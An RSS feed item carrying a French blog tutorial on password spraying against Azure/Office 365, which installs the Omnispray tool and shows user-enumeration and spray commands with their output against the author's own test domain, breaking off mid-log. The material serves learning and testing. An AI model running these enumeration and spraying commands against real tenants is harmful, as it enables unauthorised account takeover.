<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Bruteforce on KIRÔN</title>
        <link>https://forensic-portfolio.netlify.app/tags/bruteforce/</link>
        <description>Recent content in Bruteforce on KIRÔN</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>fr</language>
        <copyright>Enzo Ribeiro</copyright>
        <lastBuildDate>Wed, 24 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://forensic-portfolio.netlify.app/tags/bruteforce/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Azure - Password Spraying</title>
        <link>https://forensic-portfolio.netlify.app/p/azure-password-spraying/</link>
        <pubDate>Wed, 24 Jun 2026 00:00:00 +0000</pubDate>
        
        <guid>https://forensic-portfolio.netlify.app/p/azure-password-spraying/</guid>
        <description>&lt;h1 id=&#34;azure---password-spraying&#34;&gt;Azure - Password Spraying
&lt;/h1&gt;&lt;h2 id=&#34;cest-quoi-&#34;&gt;C&amp;rsquo;est quoi ?
&lt;/h2&gt;&lt;p&gt;Une attaque par password spraying c&amp;rsquo;est l&amp;rsquo;inverse d&amp;rsquo;une attaque par Bruteforce. En gros, au lieu de tester 100 mots de passe sur 1 utilisateur, nous allons tester 1 mot de passe sur 100 utilisateurs (ex : je test le mot de passe &lt;code&gt;password&lt;/code&gt; sur ma liste &lt;code&gt;email.txt&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Cette technique permet aux attanquants d&amp;rsquo;être plus discret, car ce genre de comportement est moins bruyant dans les logs.&lt;/p&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation
&lt;/h2&gt;&lt;p&gt;Pour réaliser un &amp;ldquo;Spray&amp;rdquo; nous devons d&amp;rsquo;abord savoir si les mails sont réellement valide, pour cela pouvons passer par &lt;code&gt;Omnispray&lt;/code&gt;. Omnispray est un script python développé par &lt;code&gt;0xZDH&lt;/code&gt; et disponible sur github au repo suivant :
&lt;a class=&#34;link&#34; href=&#34;https://github.com/0xZDH/Omnispray&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://github.com/0xZDH/Omnispray&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;installer il suffit de suivre les étapes des bases d&amp;rsquo;un clone de repo :&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;git clone https://github.com/0xZDH/Omnispray
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; Omnispray
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pip3 install -r requirements.txt --break-system-packages
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Une fois installé nous pouvons exécuter le script avec notre liste de mails réalisé dans le poste &lt;code&gt;Azure - OSINT&lt;/code&gt; :&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;python3 omnispray.py --type enum -uf ../username-anarchy/emails.txt --module o365_enum_office
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            *** Omnispray ***
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;gt;---------------------------------------&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; version        :  0.1.4
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; module         :  o365_enum_office
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; &lt;span class=&#34;nb&#34;&gt;type&lt;/span&gt;           :  enum
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; userfile       :  ../username-anarchy/emails.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; count          :  &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; passwords/spray
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; lockout        :  15.0 minutes
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; &lt;span class=&#34;nb&#34;&gt;wait&lt;/span&gt;           :  5.0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; timeout        :  &lt;span class=&#34;m&#34;&gt;25&lt;/span&gt; seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; pause          :  0.25 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; rate           :  &lt;span class=&#34;m&#34;&gt;10&lt;/span&gt; threads
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; start          :  2026-06-24 09:50:40
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;gt;---------------------------------------&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/home/kiron/Omnispray/omnispray.py:319: DeprecationWarning: There is no current event loop
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nv&#34;&gt;loop&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; asyncio.get_event_loop&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 09:50:40,839&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Generating prerequisite data via office.com...
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 09:50:41,477&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Enumerating &lt;span class=&#34;m&#34;&gt;14&lt;/span&gt; users via &lt;span class=&#34;s1&#34;&gt;&amp;#39;o365_enum_office&amp;#39;&lt;/span&gt; module
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 09:50:42,200&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; + &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; enzo.ribeiro@domaine.com
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; er@domaine.com
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 09:50:43,390&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Results can be found in: &lt;span class=&#34;s1&#34;&gt;&amp;#39;/home/kiron/Omnispray/results/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 09:50:43,390&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Valid user accounts: &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 09:50:43,641&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : /home/kiron/Omnispray/omnispray.py executed in 2.99 seconds.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;(Ici, je n&amp;rsquo;ai que mon utilisateur, il va tester mes mails seulement, si nous en avions plusieurs, avec la même nomenclature, nous aurions plus de résultat)&lt;/p&gt;
&lt;p&gt;Ensuite, nous pouvons tester notre &amp;ldquo;Spray&amp;rdquo; sur nos/notre utilisateur/s avec la commande suivante :&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;39
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;40
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;41
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;42
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;43
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;44
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;python3 omnispray.py --type spray -uf ../username-anarchy/emails.txt -p &lt;span class=&#34;s1&#34;&gt;&amp;#39;password&amp;#39;&lt;/span&gt; --module o365_spray_msol
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            *** Omnispray ***
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;gt;---------------------------------------&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; version        :  0.1.4
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; module         :  o365_spray_msol
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; &lt;span class=&#34;nb&#34;&gt;type&lt;/span&gt;           :  spray
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; userfile       :  ../username-anarchy/emails.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; password       :  password
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; count          :  &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; passwords/spray
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; lockout        :  15.0 minutes
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; &lt;span class=&#34;nb&#34;&gt;wait&lt;/span&gt;           :  5.0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; timeout        :  &lt;span class=&#34;m&#34;&gt;25&lt;/span&gt; seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; pause          :  0.25 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; rate           :  &lt;span class=&#34;m&#34;&gt;10&lt;/span&gt; threads
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;gt; start          :  2026-06-24 10:21:52
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;gt;---------------------------------------&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/home/kiron/Omnispray/omnispray.py:319: DeprecationWarning: There is no current event loop
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nv&#34;&gt;loop&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; asyncio.get_event_loop&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:28,663&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Password spraying &lt;span class=&#34;m&#34;&gt;14&lt;/span&gt; users via &lt;span class=&#34;s1&#34;&gt;&amp;#39;o365_spray_msol&amp;#39;&lt;/span&gt; module
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:28,663&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Password spraying the following passwords: &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,262&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; ribeiroe@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,266&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; enzoribeiro@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,269&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; enzo@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,293&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; enzor@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,317&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; r.enzo@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,367&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; enzoribe@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,387&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; enzo.ribeiro@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;VALID_MFA: Response indicates MFA &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;Microsoft&lt;span class=&#34;o&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,393&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; renzo@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,726&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; eribeiro@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,767&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; e.ribeiro@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,771&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; er@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,779&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; ribeiro.e@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
